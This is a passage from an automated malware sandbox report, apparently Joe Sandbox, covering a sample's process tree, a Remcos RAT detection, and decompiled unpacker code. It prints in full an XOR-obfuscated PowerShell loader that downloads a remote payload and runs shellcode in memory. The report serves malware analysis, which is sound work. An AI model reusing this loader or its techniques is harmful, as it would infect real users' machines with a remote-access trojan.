8){.$env:systemroot\ysw64\indoower\v1.\po*ll.exe $Spiroch1 ;}else{.$Spiroch0 $Spiroch1;}
Imagebase:	0x7ff6a9800000
File size:	452608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1736, Parent PID: 1604

General

Target ID:	7
Start time:	17:07:28
Start date:	07/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff796640000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 7836, Parent PID: 1604

General

Target ID:	19
Start time:	17:08:05
Start date:	07/06/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function kontaktann11 { param([String]$Soonys); $Chiroma = ''; Write-Host $Chiroma; Write-Host $Chiroma; Write-Host $Chiroma; $Meso = New-Object byte[] ($Soonys.Length / 2); For($Actuatedp=0; $Actuatedp -lt $Soonys.Length; $Actuatedp+=2){ $Gloseforra = $Soonys.Substring($Actuatedp, 2); $Meso[$Actuatedp/2] = [convert]::ToByte($Gloseforra, 16); $Spaghe = ($Meso[$Actuatedp/2] -bxor 202); $Meso[$Actuatedp/2] = $Spaghe; } [String][System.Text.Encoding]::ASCII.GetString($Meso);}$Isnadi0=kontaktann11 '99B3B9BEAFA7E4AEA6A6';$Isnadi1=kontaktann11 '87A3A9B8A5B9A5ACBEE49DA3A4F9F8E49FA4B9ABACAF84ABBEA3BCAF87AFBEA2A5AEB9';$Isnadi2=kontaktann11 '8DAFBE9AB8A5A98BAEAEB8AFB9B9';$Isnadi3=kontaktann11 '99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC';$Isnadi4=kontaktann11 'B9BEB8A3A4AD';$Isnadi5=kontaktann11 '8DAFBE87A5AEBFA6AF82ABA4AEA6AF';$Isnadi6=kontaktann11 '989E99BAAFA9A3ABA684ABA7AFE6EA82A3AEAF88B399A3ADE6EA9ABFA8A6A3A9';$Isnadi7=kontaktann11 '98BFA4BEA3A7AFE6EA87ABA4ABADAFAE';$Isnadi8=kontaktann11 '98AFACA6AFA9BEAFAE8EAFA6AFADABBEAF';$Isnadi9=kontaktann11 '83A487AFA7A5B8B387A5AEBFA6AF';$Unde0=kontaktann11 '87B38EAFA6AFADABBEAF9EB3BAAF';$Unde1=kontaktann11 '89A6ABB9B9E6EA9ABFA8A6A3A9E6EA99AFABA6AFAEE6EA8BA4B9A389A6ABB9B9E6EA8BBFBEA589A6ABB9B9';$Unde2=kontaktann11 '83A4BCA5A1AF';$Unde3=kontaktann11 '9ABFA8A6A3A9E6EA82A3AEAF88B399A3ADE6EA84AFBD99A6A5BEE6EA9CA3B8BEBFABA6';$Unde4=kontaktann11 '9CA3B8BEBFABA68BA6A6A5A9';$Unde5=kontaktann11 'A4BEAEA6A6';$Unde6=kontaktann11 '84BE9AB8A5BEAFA9BE9CA3B8BEBFABA687AFA7A5B8B3';$Unde7=kontaktann11 '838F92';$Unde8=kontaktann11 '96';$Sladrem21=kontaktann11 '9F998F98F9F8';$Pedologic23=kontaktann11 '89ABA6A69DA3A4AEA5BD9AB8A5A98B';function fkp {Param ($Unsu, $Henvend) ;$Goldbrick0 =kontaktann11 'EE86B9AFA2ABB9BEA3ADA2EAF7EAE2918BBABA8EA5A7ABA3A497F0F089BFB8B8AFA4BE8EA5A7ABA3A4E48DAFBE8BB9B9AFA7A8A6A3AFB9E2E3EAB6EA9DA2AFB8AFE785A8A0AFA9BEEAB1EAEE95E48DA6A5A8ABA68BB9B9AFA7A8A6B389ABA9A2AFEAE78BA4AEEAEE95E486A5A9ABBEA3A5A4E499BAA6A3BEE2EE9FA4AEAFF2E391E7FB97E48FBBBFABA6B9E2EE83B9A4ABAEA3FAE3EAB7E3E48DAFBE9EB3BAAFE2EE83B9A4ABAEA3FBE3';.($Unde7) $Goldbrick0;$Goldbrick5 = kontaktann11 'EE99BAA3A6AEA3A4AEB9EAF7EAEE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3F8E6EA919EB3BAAF919797EA8AE2EE83B9A4ABAEA3F9E6EAEE83B9A4ABAEA3FEE3E3';.($Unde7) $Goldbrick5;$Goldbrick1 = kontaktann11 'B8AFBEBFB8A4EAEE99BAA3A6AEA3A4AEB9E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE29199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC97E284AFBDE785A8A0AFA9BEEA99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFACE2E284AFBDE785A8A0AFA9BEEA83A4BE9ABEB8E3E6EAE2EE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3FFE3E3E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE2EE9FA4B9BFE3E3E3E3E6EAEE82AFA4BCAFA4AEE3E3';.($Unde7) $Goldbrick1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Hgtninger83,[Parameter(Position = 1)] [Type] $Supportle = [Void]);$Goldbrick2 = kontaktann11 'EE82B3ADB8A5BEA2AFEAF7EA918BBABA8EA5A7ABA3A497F0F089BFB8B8AFA4BE8EA5A7ABA3A4E48EAFACA3A4AF8EB3A4ABA7A3A98BB9B9AFA7A8A6B3E2E284AFBDE785A8A0AFA9BEEA99B3B9BEAFA7E498AFACA6AFA9BEA3A5A4E48BB9B9AFA7A8A6B384ABA7AFE2EE83B9A4ABAEA3F2E3E3E6EA9199B3B9BEAFA7E498AFACA6AFA9BEA3A5A4E48FA7A3BEE48BB9B9AFA7A8A6B388BFA3A6AEAFB88BA9A9AFB9B997F0F098BFA4E3E48EAFACA3A4AF8EB3A4ABA7A3A987A5AEBFA6AFE2EE83B9A4ABAEA3F3E6EAEEACABA6B9AFE3E48EAFACA3A4AF9EB3BAAFE2EE9FA4AEAFFAE6EAEE9FA4AEAFFBE6EA9199B3B9BEAFA7E487BFA6BEA3A9ABB9BE8EAFA6AFADABBEAF97E3';.($Unde7) $Goldbrick2;$Goldbrick3 = kontaktann11 'EE82B3ADB8A5BEA2AFE48EAFACA3A4AF89A5A4B9BEB8BFA9BEA5B8E2EE83B9A4ABAEA3FCE6EA9199B3B9BEAFA7E498AFACA6AFA9BEA3A5A4E489ABA6A6A3A4AD89A5A4BCAFA4BEA3A5A4B997F0F099BEABA4AEABB8AEE6EAEE82ADBEA4A3A4ADAFB8F2F9E3E499AFBE83A7BAA6AFA7AFA4BEABBEA3A5A48CA6ABADB9E2EE83B9A4ABAEA3FDE3';.($Unde7) $Goldbrick3;$Goldbrick4 = kontaktann11 'EE82B3ADB8A5BEA2AFE48EAFACA3A4AF87AFBEA2A5AEE2EE9FA4AEAFF8E6EAEE9FA4AEAFF9E6EAEE99BFBABAA5B8BEA6AFE6EAEE82ADBEA4A3A4ADAFB8F2F9E3E499AFBE83A7BAA6AFA7AFA4BEABBEA3A5A48CA6ABADB9E2EE83B9A4ABAEA3FDE3';.($Unde7) $Goldbrick4;$Goldbrick5 = kontaktann11 'B8AFBEBFB8A4EAEE82B3ADB8A5BEA2AFE489B8AFABBEAF9EB3BAAFE2E3';.($Unde7) $Goldbrick5 ;}$Underl = kontaktann11 'A1AFB8A4AFA6F9F8';$kontaktann03 = kontaktann11 '8DAFBE89A5A4B9A5A6AF9DA3A4AEA5BD';$kontaktann00=kontaktann11 '99A2A5BD9DA3A4AEA5BD';$kontaktann01 = kontaktann11 'EE8CAFA6A6EAF7EA9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F08DAFBE8EAFA6AFADABBEAF8CA5B88CBFA4A9BEA3A5A49AA5A3A4BEAFB8E2E2ACA1BAEAEE99A6ABAEB8AFA7F8FBEAEEA1A5A4BEABA1BEABA4A4FAFAE3E6EAE28D8E9EEA8AE29183A4BE9ABEB897E6EA919F83A4BEF9F897E3EAE29183A4BE9ABEB897E3E3E3';.($Unde7) $kontaktann01;$kontaktann02 = kontaktann11 'EE8BB8A9A2A3BEA3EAF7EA9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F08DAFBE8EAFA6AFADABBEAF8CA5B88CBFA4A9BEA3A5A49AA5A3A4BEAFB8E2E2ACA1BAEAEE9FA4AEAFB8A6EAEEA1A5A4BEABA1BEABA4A4FAF9E3E6EAE28D8E9EEA8AE29183A4BE9ABEB897E3EAE29183A4BE9ABEB897E3E3E3';.($Unde7) $kontaktann02;$Goldbrick7 = kontaktann11 'EE8EABADBAAFA4ADAFA6A5F2EAF7EAEE8BB8A9A2A3BEA3E483A4BCA5A1AFE2FAE3';.($Unde7) $Goldbrick7;$Goldbrick7 = kontaktann11 'EE8CAFA6A6E483A4BCA5A1AFE2EE8EABADBAAFA4ADAFA6A5F2E6EAFAE3';.($Unde7) $Goldbrick7;$Goldbrick6 = kontaktann11 'EEAEAFA7A3A4AFB8ABA6EAF7EA9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F08DAFBE8EAFA6AFADABBEAF8CA5B88CBFA4A9BEA3A5A49AA5A3A4BEAFB8E2E2ACA1BAEAEE9FA4AEAFB8A6EAEE9FA4AEAFFEE3E6EAE28D8E9EEA8AE29183A4BE9ABEB897E6EA919F83A4BEF9F897E6EA919F83A4BEF9F897E6EA919F83A4BEF9F897E3EAE29183A4BE9ABEB897E3E3E3';.($Unde7) $Goldbrick6;$Bulmeurt = fkp $Unde5 $Unde6;$Goldbrick7 = kontaktann11 'EE99BEABA7BABDAFAFAEABF9EAF7EAEEAEAFA7A3A4AFB8ABA6E483A4BCA5A1AFE29183A4BE9ABEB897F0F090AFB8A5E6EAFCFCFBE6EAFAB2F9FAFAFAE6EAFAB2FEFAE3';.($Unde7) $Goldbrick7;$Goldbrick8 = kontaktann11 'EE9AB8ABBEBEA3EAF7EAEEAEAFA7A3A4AFB8ABA6E483A4BCA5A1AFE29183A4BE9ABEB897F0F090AFB8A5E6EAF2FEFAFEFBFDF8F2E6EAFAB2F9FAFAFAE6EAFAB2FEE3';.($Unde7) $Goldbrick8;$kontaktann01 = kontaktann11 'A2BEBEBAB9F0E5E5BBBFA3A9A1A9A2AFA9A1B2E4ADA3BEA2BFA8E4A3A5E5BBBFA3A9A1A7AFE59AABA4B0AFB8B9BEA3E4A6BAA1';$kontaktann00 = kontaktann11 'EE99ABA6ABEAF7EAE284AFBDE785A8A0AFA9BEEA84AFBEE49DAFA889A6A3AFA4BEE3E48EA5BDA4A6A5ABAE99BEB8A3A4ADE2EEA1A5A4BEABA1BEABA4A4FAFBE3';$Goldbrick8 = kontaktann11 'EE99BEABA7BABDAFAFAEABF8F7EEAFA4BCF0ABBABAAEABBEAB';.($Unde7) $Goldbrick8;$Stampweeda2=$Stampweeda2+'\Topforme.Sub';$Sala='';if (-not(Test-Path $Stampweeda2)) {while ($Sala -eq '') {.($Unde7) $kontaktann00;Start-Sleep 5;}Set-Content $Stampweeda2 $Sala;}$Sala = Get-Content $Stampweeda2;$Goldbrick9 = kontaktann11 'EE8DA5A6AEA8B8A3A9A1EAF7EA9199B3B9BEAFA7E489A5A4BCAFB8BE97F0F08CB8A5A788ABB9AFFCFE99BEB8A3A4ADE2EE99ABA6ABE3';.($Unde7) $Goldbrick9;$Sala0 = kontaktann11 '9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F089A5BAB3E2EE8DA5A6AEA8B8A3A9A1E6EAFAE6EAEAEE99BEABA7BABDAFAFAEABF9E6EAFCFCFBE3';.($Unde7) $Sala0;$stand=$Goldbrick.count-661;$Sala1 = kontaktann11 '9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F089A5BAB3E2EE8DA5A6AEA8B8A3A9A1E6EAFCFCFBE6EAEE9AB8ABBEBEA3E6EAEEB9BEABA4AEE3';.($Unde7) $Sala1;$Sala2 = kontaktann11 'EE90AFA8B8A3A4ABEAF7EA9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F08DAFBE8EAFA6AFADABBEAF8CA5B88CBFA4A9BEA3A5A49AA5A3A4BEAFB8E2E2ACA1BAEAEE99A6ABAEB8AFA7F8FBEAEE9AAFAEA5A6A5ADA3A9F8F9E3E6EAE28D8E9EEA8AE29183A4BE9ABEB897E6EA9183A4BE9ABEB897E6EA9183A4BE9ABEB897E6EA9183A4BE9ABEB897E6EA9183A4BE9ABEB897E3EAE29183A4BE9ABEB897E3E3E3';.($Unde7) $Sala2;$Sala3 = kontaktann11 'EE90AFA8B8A3A4ABE483A4BCA5A1AFE2EE99BEABA7BABDAFAFAEABF9E6EE9AB8ABBEBEA3E6EE88BFA6A7AFBFB8BEE6FAE6FAE3';.($Unde7) $Sala3#
Imagebase:
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ieinstal.exePID: 10336, Parent PID: 7836

General

Target ID:	30
Start time:	17:08:36
Start date:	07/06/2023
Path:	C:\Program Files (x86)\Internet Explorer\ieinstal.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\internet explorer\ieinstal.exe
Imagebase:	0x1c0000
File size:	480256 bytes
MD5 hash:	7871873BABCEA94FBA13900B561C7C55
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001E.00000002.3358994874.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: CTBrowserSetup.exePID: 10576, Parent PID: 10336

General

Target ID:	31
Start time:	17:08:48
Start date:	07/06/2023
Path:	C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe"
Imagebase:	0x640000
File size:	2886568 bytes
MD5 hash:	B2580CACC3C40ABCFA5E91FFA5409761
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 4%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: CTBrowserSetup.exePID: 10752, Parent PID: 10576

General

Target ID:	34
Start time:	17:08:50
Start date:	07/06/2023
Path:	C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe"
Imagebase:	0x640000
File size:	2886568 bytes
MD5 hash:	B2580CACC3C40ABCFA5E91FFA5409761
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: CTBrowserSetup.exePID: 10576, Parent PID: 10336COMMON

Execution Graph

Execution Coverage:	59%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	100%
Total number of Nodes:	7
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00FBD8A0 Relevance: 7.7, APIs: 5, Instructions: 211
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			_entry_(void* __eflags) {
				char _t33;
				void* _t34;
				CHAR* _t35;
				char _t36;
				char _t37;
				signed int _t39;
				signed int _t40;
				CHAR* _t43;
				signed char* _t48;
				long _t49;
				void* _t54;
				CHAR* _t57;
				CHAR* _t62;
				signed short _t66;
				void* _t67;
				CHAR* _t69;
				char* _t71;
				CHAR* _t73;
				CHAR* _t75;
				CHAR* _t78;
				CHAR* _t95;
				char _t103;
				char _t104;
				char _t105;
				char _t106;
				intOrPtr* _t107;
				CHAR** _t112;
				CHAR* _t113;
				void* _t115;
				CHAR* _t128;
				CHAR* _t129;
				char* _t130;
				CHAR* _t131;
				char* _t132;
				void* _t133;
				CHAR* _t136;
				CHAR* _t138;
				char* _t139;
				CHAR** _t140;
				intOrPtr* _t141;
				CHAR* _t144;
				struct HINSTANCE__* _t145;
				intOrPtr _t146;
				DWORD* _t148;
				void* _t151;
				char _t153;

				_t151 = __eflags;
				asm("pushad");
				_t138 = 0xd0b000;
				_t1 = _t138 - 0x6ca000; // 0x641000
				_t129 = _t1;
				_push(_t129);
				while(1) {
					_t103 =  *_t138;
					_t138 = _t138 - 0xfffffffc;
					asm("adc ebx, ebx");
					do {
						if(_t151 < 0) {
							_t33 =  *_t138;
							_t138 =  &(_t138[1]);
							 *_t129 = _t33;
							_t129 =  &(_t129[1]);
							__eflags = _t129;
							goto L23;
						}
						_t34 = 1;
						while(1) {
							_t104 = _t103 + _t103;
							if(_t104 == 0) {
								_t104 =  *_t138;
								_t138 = _t138 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t105 = _t104 + _t104;
							_t153 = _t105;
							if(_t153 >= 0) {
								goto L32;
							}
							L30:
							if(_t153 != 0) {
								L38:
								_t113 = 0;
								_t35 = _t34 - 3;
								__eflags = _t35;
								if(_t35 < 0) {
									_t105 = _t105 + _t105;
									__eflags = _t105;
									if(__eflags == 0) {
										_t105 =  *_t138;
										_t138 = _t138 - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									L43:
									if(__eflags < 0) {
										L35:
										_t103 = _t105 + _t105;
										__eflags = _t103;
										if(_t103 == 0) {
											_t103 =  *_t138;
											_t138 = _t138 - 0xfffffffc;
											asm("adc ebx, ebx");
										}
										asm("adc ecx, ecx");
										L53:
										__eflags = _t145 - 0xfffffb00;
										asm("adc ecx, 0x2");
										_t128 =  &(_t129[_t145]);
										__eflags = _t145 - 0xfffffffc;
										if(_t145 <= 0xfffffffc) {
											do {
												_t36 =  *_t128;
												_t128 =  &(_t128[4]);
												 *_t129 = _t36;
												_t129 =  &(_t129[4]);
												_t113 = _t113 - 4;
												__eflags = _t113;
											} while (_t113 > 0);
											_t129 =  &(_t129[_t113]);
											break;
										} else {
											goto L54;
										}
										do {
											L54:
											_t37 =  *_t128;
											_t128 =  &(_t128[1]);
											 *_t129 = _t37;
											_t129 =  &(_t129[1]);
											_t113 = _t113 - 1;
											__eflags = _t113;
										} while (_t113 != 0);
										break;
									}
									_t113 =  &(_t113[1]);
									_t105 = _t105 + _t105;
									__eflags = _t105;
									if(__eflags == 0) {
										_t105 =  *_t138;
										_t138 = _t138 - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									if(__eflags < 0) {
										goto L35;
									} else {
										goto L47;
										do {
											do {
												L47:
												_t106 = _t105 + _t105;
												__eflags = _t106;
												if(_t106 == 0) {
													_t106 =  *_t138;
													_t138 = _t138 - 0xfffffffc;
													asm("adc ebx, ebx");
												}
												asm("adc ecx, ecx");
												_t105 = _t106 + _t106;
												__eflags = _t105;
											} while (__eflags >= 0);
											if(__eflags != 0) {
												break;
											}
											_t105 =  *_t138;
											_t138 = _t138 - 0xfffffffc;
											__eflags = _t138;
											asm("adc ebx, ebx");
										} while (_t138 >= 0);
										_t113 =  &(_t113[2]);
										__eflags = _t113;
										goto L53;
									}
								}
								_t39 =  *_t138;
								_t138 =  &(_t138[1]);
								_t40 = _t39 ^ 0xffffffff;
								__eflags = _t40;
								if(__eflags == 0) {
									_pop(_t139);
									_t130 = _t139;
									while(1) {
										L59:
										while(1) {
											asm("repne scasb");
											if(__eflags != 0) {
												break;
											}
											__eflags =  *_t130 - 0x8e;
											if(__eflags != 0) {
												continue;
											}
											asm("rol eax, 0x10");
											asm("stosd");
											goto L59;
										}
										_t14 = _t139 + 0x952000; // 0xf93000
										_t131 = _t14;
										while(1) {
											L64:
											_t43 =  *_t131;
											__eflags = _t43;
											if(_t43 == 0) {
												break;
											}
											_t15 =  &(_t131[4]); // 0x4b413c
											_t17 = _t139 + 0x98579c; // 0x8bd23300
											_t112 =  *_t15 + _t139;
											_t136 =  &(_t131[8]);
											__eflags = _t136;
											_t145 = LoadLibraryA( &(_t43[_t17]));
											while(1) {
												_t131 =  &(_t136[1]);
												__eflags =  *_t136;
												if(__eflags == 0) {
													goto L64;
												}
												if(__eflags < 0) {
													_push( *_t131 & 0x0000ffff);
													_t131 =  &(_t131[2]);
													__eflags = _t131;
												}
												asm("repne scasb");
												_t95 = GetProcAddress(_t145, _t131);
												__eflags = _t95;
												if(_t95 == 0) {
													ExitProcess();
												} else {
													 *_t112 = _t95;
													_t112 =  &(_t112[1]);
													continue;
												}
											}
										}
										_t132 =  &(_t131[4]);
										__eflags = _t132;
										_t22 = _t139 - 4; // 0x640ffc
										_t107 = _t22;
										while(1) {
											_t132 =  &(_t132[1]);
											_t46 = 0;
											__eflags = 0;
											if(0 == 0) {
												break;
											}
											__eflags = 0 - 0xef;
											if(0 > 0xef) {
												_t46 =  *_t132;
												_t132 =  &(_t132[2]);
											}
											_t107 = _t107 + _t46;
											asm("rol eax, 0x10");
											 *_t107 =  *_t107 + _t139;
										}
										_t146 =  *((intOrPtr*)(_t139 + 0x9859e4));
										_t26 = _t139 - 0x1000; // 0x640000
										_t133 = _t26;
										_push(0);
										VirtualProtect(_t133, 0x1000, 4, _t148);
										_t27 = _t133 + 0x23f; // 0x64023f
										_t48 = _t27;
										 *_t48 =  *_t48 & 0x0000007f;
										_t48[0x28] = _t48[0x28] & 0x0000007f;
										_pop(_t49);
										VirtualProtect(_t133, 0x1000, _t49, _t148); // executed
										_t30 = _t139 - 0x1000; // 0x640000
										_t31 = _t30 + 0x97da8c; // 0xfbda8c
										_t134 = _t31;
										asm("stosb");
										_t115 = _t31;
										_t116 = _t115 - 1;
										__eflags = _t116;
										 *_t116(_t30, 1, 0, _t49);
										asm("popad");
										_t54 = _t148 - 0x80;
										do {
											_push(0);
											__eflags = _t148 - _t54;
										} while (_t148 != _t54);
										while(1) {
											L00A71AA4();
											_push(0x14);
											L00A70BE0(_t109, _t134, _t139);
											_t57 = L00A702E7(_t116, _t128, 1);
											_t116 = 0xc76d08;
											__eflags = _t57;
											if(_t57 == 0) {
												goto L19;
											}
											_t109 = 0;
											 *((char*)(_t146 - 0x19)) = 0;
											 *(_t146 - 4) =  *(_t146 - 4) & 0x00000000;
											 *((char*)(_t146 - 0x24)) = L00A702B5();
											_t62 =  *0xca878c;
											_t116 = 1;
											__eflags = _t62 - 1;
											if(_t62 == 1) {
												goto L19;
											}
											__eflags = _t62;
											if(_t62 != 0) {
												_t109 = 1;
												 *((char*)(_t146 - 0x19)) = 1;
												L8:
												L00A7043B( *((intOrPtr*)(_t146 - 0x24)));
												_pop(_t116);
												_t140 = L00A71B3F();
												_t134 = 0;
												__eflags =  *_t140;
												if(__eflags != 0) {
													_t75 = L00A703A7(_t109, 0, _t140, __eflags);
													_t116 = _t140;
													__eflags = _t75;
													if(_t75 != 0) {
														_t144 =  *_t140;
														_t116 = _t144;
														 *0xaf5a44(0, 2, 0);
														 *_t144();
													}
												}
												_t141 = L00A71B45();
												__eflags =  *_t141 - _t134;
												if(__eflags != 0) {
													_t73 = L00A703A7(_t109, _t134, _t141, __eflags);
													_t116 = _t141;
													__eflags = _t73;
													if(_t73 != 0) {
														_push( *_t141);
														L00A845A5(_t109, _t128, _t134, _t141);
														_pop(_t116);
													}
												}
												_t66 = L00A71968();
												_t67 = L00A93236();
												_push(_t66 & 0x0000ffff);
												_push(_t67);
												_push(_t134);
												_t139 = L00A1A792(0x640000);
												_t69 = L00A7199E();
												__eflags = _t69;
												if(_t69 == 0) {
													L20:
													L00A845CB(_t139);
													L00A8458F( *((intOrPtr*)(_t146 - 0x20)));
													asm("int3");
													continue;
												} else {
													__eflags = _t109;
													if(_t109 == 0) {
														L00A84580();
													}
													L00A70458(_t116, 1, _t134);
													 *(_t146 - 4) = 0xfffffffe;
													_t71 = _t139;
													L18:
													 *[fs:0x0] =  *((intOrPtr*)(_t146 - 0x10));
													return _t71;
												}
											}
											 *0xca878c = 1;
											_t78 = L00A932AB(0xaf5d44, 0xaf5d6c);
											__eflags = _t78;
											if(_t78 == 0) {
												L00A93280(0xaf5a48, 0xaf5d30);
												 *0xca878c = 2;
												goto L8;
											} else {
												 *(_t146 - 4) = 0xfffffffe;
												_t71 = 0xff;
												goto L18;
											}
											L19:
											L00A7184D(_t128, _t134, _t139, 7);
											goto L20;
										}
									}
								}
								_t145 = _t40 >> 1;
								goto L43;
							}
							_t105 =  *_t138;
							_t138 = _t138 - 0xfffffffc;
							asm("adc ebx, ebx");
							if(_t138 < 0) {
								goto L38;
							}
							L32:
							_t34 = _t34 - 1;
							_t103 = _t105 + _t105;
							if(_t103 == 0) {
								_t103 =  *_t138;
								_t138 = _t138 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t104 = _t103 + _t103;
							if(_t104 == 0) {
								_t104 =  *_t138;
								_t138 = _t138 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t105 = _t104 + _t104;
							_t153 = _t105;
							if(_t153 >= 0) {
								goto L32;
							}
						}
						L23:
						_t103 = _t103 + _t103;
						__eflags = _t103;
					} while (_t103 != 0);
				}
			}

0x00fbd8a0
0x00fbd8a0
0x00fbd8a1
0x00fbd8a6
0x00fbd8a6
0x00fbd8ac
0x00fbd8ba
0x00fbd8ba
0x00fbd8bc
0x00fbd8bf
0x00fbd8c1
0x00fbd8c1
0x00fbd8b0
0x00fbd8b2
0x00fbd8b3
0x00fbd8b5
0x00fbd8b5
0x00000000
0x00fbd8b5
0x00fbd8c3
0x00fbd8c8
0x00fbd8c8
0x00fbd8ca
0x00fbd8cc
0x00fbd8ce
0x00fbd8d1
0x00fbd8d1
0x00fbd8d3
0x00fbd8d5
0x00fbd8d5
0x00fbd8d7
0x00000000
0x00000000
0x00fbd8d9
0x00fbd8d9
0x00fbd903
0x00fbd903
0x00fbd905
0x00fbd905
0x00fbd908
0x00fbd91b
0x00fbd91b
0x00fbd91d
0x00fbd91f
0x00fbd921
0x00fbd924
0x00fbd924
0x00fbd926
0x00fbd926
0x00fbd8f4
0x00fbd8f4
0x00fbd8f4
0x00fbd8f6
0x00fbd8f8
0x00fbd8fa
0x00fbd8fd
0x00fbd8fd
0x00fbd8ff
0x00fbd955
0x00fbd955
0x00fbd95b
0x00fbd95e
0x00fbd961
0x00fbd964
0x00fbd974
0x00fbd974
0x00fbd976
0x00fbd979
0x00fbd97b
0x00fbd97e
0x00fbd97e
0x00fbd97e
0x00fbd983
0x00000000
0x00000000
0x00000000
0x00000000
0x00fbd966
0x00fbd966
0x00fbd966
0x00fbd968
0x00fbd969
0x00fbd96b
0x00fbd96c
0x00fbd96c
0x00fbd96c
0x00000000
0x00fbd96f
0x00fbd928
0x00fbd929
0x00fbd929
0x00fbd92b
0x00fbd92d
0x00fbd92f
0x00fbd932
0x00fbd932
0x00fbd934
0x00000000
0x00fbd936
0x00000000
0x00fbd936
0x00fbd936
0x00fbd936
0x00fbd936
0x00fbd936
0x00fbd938
0x00fbd93a
0x00fbd93c
0x00fbd93f
0x00fbd93f
0x00fbd941
0x00fbd943
0x00fbd943
0x00fbd943
0x00fbd947
0x00000000
0x00000000
0x00fbd949
0x00fbd94b
0x00fbd94b
0x00fbd94e
0x00fbd94e
0x00fbd952
0x00fbd952
0x00000000
0x00fbd952
0x00fbd934
0x00fbd90d
0x00fbd90f
0x00fbd910
0x00fbd910
0x00fbd913
0x00fbd98a
0x00fbd98b
0x00fbd992
0x00fbd992
0x00fbd994
0x00fbd994
0x00fbd996
0x00000000
0x00000000
0x00fbd998
0x00fbd99b
0x00000000
0x00000000
0x00fbd9a3
0x00fbd9ac
0x00000000
0x00fbd9ac
0x00fbd9af
0x00fbd9af
0x00fbd9b5
0x00fbd9b5
0x00fbd9b7
0x00fbd9b7
0x00fbd9b9
0x00000000
0x00000000
0x00fbd9bb
0x00fbd9be
0x00fbd9c5
0x00fbd9c8
0x00fbd9c8
0x00fbd9d1
0x00fbd9d2
0x00fbd9d4
0x00fbd9d5
0x00fbd9d7
0x00000000
0x00000000
0x00fbd9db
0x00fbd9e1
0x00fbd9e2
0x00fbd9e2
0x00fbd9e3
0x00fbd9e6
0x00fbd9ef
0x00fbd9ef
0x00fbd9f1
0x00fbd9fa
0x00fbd9f3
0x00fbd9f3
0x00fbd9f5
0x00000000
0x00fbd9f5
0x00fbd9f1
0x00fbd9d2
0x00fbda00
0x00fbda00
0x00fbda03
0x00fbda03
0x00fbda06
0x00fbda0a
0x00fbda0b
0x00fbda0b
0x00fbda0d
0x00000000
0x00000000
0x00fbda0f
0x00fbda11
0x00fbda29
0x00fbda2c
